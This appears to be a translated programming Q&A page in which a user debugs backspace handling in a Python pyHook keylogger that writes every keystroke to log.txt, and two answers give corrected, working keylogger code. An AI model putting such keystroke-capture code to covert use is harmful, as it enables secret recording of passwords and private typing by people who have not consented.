0

我有一个很长的脚本,所以我会总结一下。

LOG_TEXT是存储所有字符的地方,数据通过击键到达那里,因此每次用户在键盘上键入一个键时,它都会转到LOG_TEXT.

最终,LOG_TEXT20 秒后保存在 log.txt 中。

我的问题是,当我单击 Back space 时,它​​不会删除最后一个字符。

这是我一直在尝试的:

import pythoncom, pyHook, os

def OnKeyboardEvent(event):
    global LOG_TEXT, LOG_FILE
    LOG_TEXT = ""
    LOG_FILE = open('log.txt', 'a')
    if event.Ascii == 8:  # If 'back space' was pressed
        LOG_TEXT = LOG_TEXT[:-1]  # Delete the last char
    elif event.Ascii == 13 or event.Ascii == 9:  # If 'Enter' was pressed
        LOG_TEXT += "\n"  # Drop the line
    else: 
        LOG_TEXT += str(chr(event.Ascii))  # Adds the chars to the log

    # Write to file
    LOG_FILE.write(LOG_TEXT)
    LOG_FILE.close()
    return True

LOG_FILE = open('log.txt', 'a')
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()

并且还尝试过:

LOG_TEXT = LOG_TEXT[:-2]  # Delete the last char

和:

LOG_TEXT += '\b'  # Delete the last char

任何解决方案/建议?

感谢帮助者:)

4

2 回答 2

0

您可能应该累积一个字符串,然后将其刷新到文件中(在某些事件中......比如输入)

class KeyLogger:
    def __init__(self,logfile):
        self._file = open("logfile.txt","wb")
        self._txt = ""
        hm = pyHook.HookManager()
        hm.KeyDown = self.OnKeyboardEvent
        hm.HookKeyboard()
        pythoncom.PumpMessages()

    def OnKeyboardEvent(self,event):
        if event.Ascii == 8:  # If 'back space' was pressed
            self._txt = self._txt[:-1]
        elif event.Ascii == 13 or event.Ascii == 9:  # If 'Enter' was pressed
            self._txt += "\n"  # Drop the line
            self._file.write(self._txt) #flush line to file
            self._txt = "" #reset buffer for next line
        else: 
            self._txt += str(chr(event.Ascii))  # Adds the chars to the log

KeyLogger("logfile.txt")
于 2015-08-21T23:06:24.763 回答
0

您不能将退格键写入文件。LOG_TEXT 变量在每个键盘事件上都设置为空字符串,然后将其附加到文件中。对于退格,您将需要截断。

LOG_TEXT[:-1] # LOG_TEXT is an empty string, there's no 
              # last character to be removed.

反而:

def OnKeyboardEvent(event):
    LOG_FILE = open('log.txt', 'a')
    if event.Ascii == 8:  # If 'back space' was pressed
        pos = LOG_FILE.tell() - 1  # Get position we want to keep
        if pos >= 0:
            LOG_FILE.seek(pos) # move to after last character we want to save
            LOG_FILE.truncate(pos) # truncate file to pos
    elif event.Ascii == 13 or event.Ascii == 9:  # If 'Enter' was pressed
        LOG_FILE.write("\n")  # Drop the line
    else: 
        LOG_FILE.write(str(chr(event.Ascii)))  # Adds the chars to the log

    # Write to file
    LOG_FILE.close()
    return True

该文件被打开以追加,因此您不需要将所有内容保留在 log_text 变量中,否则您将追加比您想要的更多的内容。

于 2015-08-21T23:04:25.777 回答